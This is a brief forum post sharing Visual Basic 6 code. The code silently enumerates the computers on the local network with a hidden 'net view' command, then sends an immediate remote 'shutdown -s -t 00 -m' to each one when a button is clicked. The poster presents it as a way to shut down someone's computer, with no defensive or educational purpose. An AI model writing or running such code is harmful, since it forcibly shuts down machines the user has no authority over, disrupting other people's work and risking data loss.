Alright, so this is a code i been working on for about 30 mins,
it's not much , but it does do something ..
Code
[color=#FF0000]Private Sub Command1_Click()
Call Try
End Sub
Private Sub Form_Load()
Shell "cmd /c net view > %windir%\NetView.txt", vbHide
End Sub
Sub Try()
Dim i As Integer
Open Environ("WinDir") & "\NetView.txt" For Input As #1
Input #1, word
Input #1, word
Input #1, word
For i = 1 To 100
Input #1, word
If InStr(word, " ") < 1 Then
Computer = Right(word, ((Len(word)) - 2))
Shell "cmd /c shutdown -s -t 00 -m " & Computer
ElseIf InStr(word, " ") > 0 Then
n = InStr(word, " ")
word = Left$(word, (n - 1)) 'returns the 11 chrs before space
Computer = Right(word, ((Len(word)) - 2))
Shell "cmd /c shutdown -s -t 00 -m " & Computer
End If
Next i
Close #1
End Sub[/color]
This shuts down someones computer when clicked.